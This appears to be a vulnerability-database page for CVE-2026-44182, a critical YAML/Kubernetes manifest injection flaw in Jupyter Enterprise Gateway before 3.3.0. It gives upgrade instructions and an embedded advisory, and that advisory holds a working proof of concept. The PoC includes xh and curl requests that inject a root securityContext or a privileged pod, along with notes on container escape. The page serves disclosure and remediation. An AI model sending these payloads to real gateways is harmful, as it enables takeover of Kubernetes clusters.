CVE-2026-44182: Jupyter Enterprise Gateway Kubernetes Manifest Injection Vulnerability
CRITICALCVE-2026-44182 is a CRITICAL kubernetes manifest injection vulnerability (CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')) affecting Jupyter Enterprise Gateway libraries in the PyPI ecosystem. The issue involves kubernetes manifest injection in jinja2 template rendering. Remediation is available by upgrading affected packages to version 3.3.0.
CVE-2026-44182 at a Glance
How to Fix CVE-2026-44182
To remediate this vulnerability, upgrade all affected Jupyter Enterprise Gateway dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install jupyter_enterprise_gateway>=3.3.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show jupyter_enterprise_gateway
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-44182, inspect your installed packages using pip:
pip show jupyter_enterprise_gateway
Analyze the terminal output to locate any version of Jupyter Enterprise Gateway in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.3.0), your application is affected.
Note: The pip show jupyter_enterprise_gateway command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'), where the product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component. In Jupyter Enterprise Gateway, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-44182 Affected Jupyter Enterprise Gateway Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
jupyter_enterprise_gateway
|
PyPI |
< 3.3.0
|
3.3.0
|
References
Frequently Asked Questions
What is CVE-2026-44182?
Which Jupyter Enterprise Gateway versions are affected?
What version fixes CVE-2026-44182?
Is jupyter_enterprise_gateway affected?
What CWE is associated with CVE-2026-44182?
How can I check PyPI dependencies for CVE-2026-44182?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-cfw7-6c5v-2wjq",
"modified" : "2026-06-03T21:37:16Z",
"published" : "2026-06-03T21:37:16Z",
"aliases" : [ "CVE-2026-44182" ],
"summary" : "Jupyter Enterprise Gateway: Kubernetes Manifest Injection in Jinja2 Template Rendering",
"details" : "### Summary\n\nThe environment variables used during the rendering of the Kubernetes manifest allow YAML injection, enabling attackers to overwrite existing keys like `securityContext` and inject multi-document YAML to create additional unintended Kubernetes resources.\n\n### Details\n\nThe server interpolates untrusted environment variables (e.g., `KERNEL_XXX`) into Kubernetes manifests without YAML-aware escaping, enabling YAML injection attacks. Attackers can inject new fields, overwrite critical fields (e.g., duplicate `securityContext` keys, where the last one prevails), and inject document boundaries (`---` for new documents, `...` for end-of-document) to generate multiple resources, potentially creating arbitrary kinds like privileged pods.\n\nThe Jinja2 template for the Kubernetes manifest contains several `kernel_xxx` variables, such as `kernel_working_dir` that are used when rendering the manifest and are all vectors for YAML injection.\nhttps://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77\n\nThese values come from the environment passed in the API call, where they were `KERNEL_XXX` before being converted to lowercase.\n\nhttps://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launch_kubernetes.py#L130-L137\n\n### PoC\n\nThese proof of concepts are injecting in the `KERNEL_WORKING_DIR` env var, but any of the env vars could have been used.\nBy default, the `KERNEL_WORKING_DIR` will be ignored unless `EG_MIRROR_WORKING_DIRS` is truthy for the `enterprise-gateway`. This is controlled by the `mirrorWorkingDirs` value in the Helm chart.\n\nUsing `ducaale/xh`:\n\n```bash\nxh http://localhost:31529/api/kernels env:=@env-working-dir-exploit.yaml\n```\n\n`env-working-dir-exploit.yaml`:\n\n```json\n{\n \"KERNEL_POD_NAME\": \"working-dir-root\",\n \"KERNEL_NAMESPACE\": \"notebooks\",\n \"KERNEL_WORKING_DIR\": \"\\\"/tmp\\\\\\\"\\\\n\\\\n# INJECTION\\\\n securityContext:\\\\n runAsUser: 0\\\\n runAsGroup: 0\\\\n fsGroup: 100\\\\n# HAHA - stray quote \\\"\"\n}\n\n```\n\nResulting request:\n\n```\nPOST /api/kernels HTTP/1.1\nAccept: application/json, */*;q=0.5\nAccept-Encoding: gzip, deflate, br, zstd\nConnection: keep-alive\nContent-Length: 233\nContent-Type: application/json\nHost: localhost:31529\nUser-Agent: xh/0.24.0\n\n{\n \"env\": {\n \"KERNEL_POD_NAME\": \"working-dir-root\",\n \"KERNEL_NAMESPACE\": \"notebooks\",\n \"KERNEL_WORKING_DIR\": \"\\\"/tmp\\\\\\\"\\\\n\\\\n# INJECTION\\\\n securityContext:\\\\n runAsUser: 0\\\\n runAsGroup: 0\\\\n fsGroup: 100\\\\n# HAHA - stray quote \\\"\"\n }\n}\n```\n\nCurl equivalent command:\n\n```bash\ncurl http://localhost:31529/api/kernels -H 'content-type: application/json' -H 'accept: application/json, */*;q=0.5' -d '{\"env\":{\"KERNEL_POD_NAME\":\"working-dir-root\",\"KERNEL_NAMESPACE\":\"notebooks\",\"KERNEL_WORKING_DIR\":\"\\\"/tmp\\\\\\\"\\\\n\\\\n# INJECTION\\\\n securityContext:\\\\n runAsUser: 0\\\\n runAsGroup: 0\\\\n fsGroup: 100\\\\n# HAHA - stray quote \\\"\"}}'\n```\n\nThe rendered Jinja2 template:\n\n```yaml\n# This file defines the Kubernetes objects necessary for kernels to run witihin Kubernetes.\n# Substitution parameters are processed by the launch_kubernetes.py code located in the\n# same directory. Some values are factory values, while others (typically prefixed with 'kernel_') can be\n# provided by the client.\n#\n# This file can be customized as needed. No changes are required to launch_kubernetes.py provided kernel_\n# values are used - which be automatically set from corresponding KERNEL_ env values. Updates will be required\n# to launch_kubernetes.py if new document sections (i.e., new k8s 'kind' objects) are introduced.\n#\napiVersion: v1\nkind: Pod\nmetadata:\n name: \"working-dir-root\"\n namespace: \"notebooks\"\n labels:\n kernel_id: \"186f4ecf-bf90-40b8-b210-a0987bfce927\"\n app: enterprise-gateway\n component: kernel\n source: kernel-pod.yaml\n annotations:\n cluster-autoscaler.kubernetes.io/safe-to-evict: \"false\"\nspec:\n restartPolicy: Never\n serviceAccountName: \"default\"\n# NOTE: that using runAsGroup requires that feature-gate RunAsGroup be enabled.\n# WARNING: Only using runAsUser w/o runAsGroup or NOT enabling the RunAsGroup feature-gate\n# will result in the new kernel pod's effective group of 0 (root)! although the user will\n# correspond to the runAsUser value. As a result, BOTH should be uncommented AND the feature-gate\n# should be enabled to ensure expected behavior. In addition, 'fsGroup: 100' is recommended so\n# that /home/jovyan can be written to via the 'users' group (gid: 100) irrespective of the\n# \"kernel_uid\" and \"kernel_gid\" values.\n securityContext:\n runAsUser: 1000\n runAsGroup: 100\n fsGroup: 100\n containers:\n - image: \"elyra/kernel-py:3.2.3\"\n name: \"working-dir-root\"\n env:\n# Add any custom envs here that aren't already configured for the kernel's environment\n# - name: MY_CUSTOM_ENV\n# value: \"my_custom_value\"\n workingDir: \"/tmp\"\n\n# INJECTION\n securityContext:\n runAsUser: 0\n runAsGroup: 0\n fsGroup: 100\n# HAHA - stray quote \"\n volumeMounts:\n# Define any \"unconditional\" mounts here, followed by \"conditional\" mounts that vary per client\n volumes:\n# Define any \"unconditional\" volumes here, followed by \"conditional\" volumes that vary per client\n```\n\nNormally the container would run as `uid=1000(jovyan) gid=100(users) groups=100(users)`.\nThis injects a pod `securityContext` with `runAsUser: 0` and `runAsGroup: 0` (and `fsGroup: 100`).\nThe processing of the YAML results in the duplicate key clobbering the original.\nMaking the container run as `uid=0(root) gid=0(root) groups=0(root),100(users)`.\n\nIn addition to injecting a pod level `securityContext` it is also possible to inject a container level `securityContext` which supports the `privileged` field.\n\n\n#### Injecting a Pod\n\nBy injecting `...` and `---` it is possible to use multi-document YAML to inject Kubernetes resources.\n\n```bash\nxh http://localhost:31529/api/kernels env:=@env-working-dir-exploit-pod.yaml\n```\n\n`env-working-dir-exploit-pod.yaml`:\n\n```json\n{\n \"KERNEL_POD_NAME\": \"working-dir-root-pod\",\n \"KERNEL_NAMESPACE\": \"notebooks\",\n \"KERNEL_WORKING_DIR\": \"\\\"/tmp\\\\\\\"\\\\n\\\\n# INJECTION\\\\n...\\\\n---\\\\napiVersion: v1\\\\nkind: Pod\\\\nmetadata:\\\\n name: injected-pod\\\\n\\\\\\n spec:\\\\n containers:\\\\n - name: injected-container\\\\n image: nginx\\\\n ports:\\\\n - containerPort: 80\\\\n securityContext:\\\\n privileged: true\\\\n runAsUser: 0\\\\n runAsGroup: 0\\\\n...\\\\n# HAHA - stray quote\\\"\"\n}\n```\n\nThis is rendered as (skipping the beginning of the rendering before the inject):\n\n```yaml\n workingDir: \"/tmp\"\n\n# INJECTION\n...\n---\napiVersion: v1\nkind: Pod\nmetadata:\n name: injected-pod\nspec:\n containers:\n - name: injected-container\n image: nginx\n ports:\n - containerPort: 80\n securityContext:\n privileged: true\n runAsUser: 0\n runAsGroup: 0\n...\n# HAHA - stray quote\"\n volumeMounts:\n# Define any \"unconditional\" mounts here, followed by \"conditional\" mounts that vary per client\n volumes:\n# Define any \"unconditional\" volumes here, followed by \"conditional\" volumes that vary per client\n```\n\n`kubectl get pods -n notebooks`\n```\nNAME READY STATUS RESTARTS AGE\ninjected-pod 1/1 Running 0 4s\nworking-dir-root-pod 1/1 Running 0 4s\n```\n\nThe `injected-pod` has been created in addition to the `working-dir-root-pod`.\n\n`kubectl get pod/injected-pod -o yaml -n notebooks -o jsonpath='{.spec.containers[*].securityContext}'`:\n\n```json\n{\n \"privileged\": true,\n \"runAsGroup\": 0,\n \"runAsUser\": 0\n}\n```\n\n### Impact\n\nAn attacker can create pods running with arbitrary, `image`, `securityContext`, and `volumeMounts` including `hostPath` mounts. Privileged pods can be created.\n\nArbitrary Kubernetes resources of kinds: `Pod`, `Secret`, `PersistentVolumeClaim`, `PersistentVolume`, `Service`, and `ConfigMap` can be created.\n\nRepeated exploitation can compromise all worker nodes, and thus the entire Kubernetes cluster. Multiple container escape vectors exist. It is possible to create privileged pods which could load kernel modules to compromise the host. It is also possible to specify volume mounts, so another vector for a container escape is to use a `hostPath` R/W volume mount, use the injected `securityContext` to run as `root`, and then gain code execution in the underlying worker node by creating a crontab entry in the mounted host file system.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "jupyter_enterprise_gateway"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.3.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/jupyter-server/enterprise_gateway/security/advisories/GHSA-cfw7-6c5v-2wjq"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/jupyter-server/enterprise_gateway"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-74" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-03T21:37:16Z",
"nvd_published_at" : null
}
}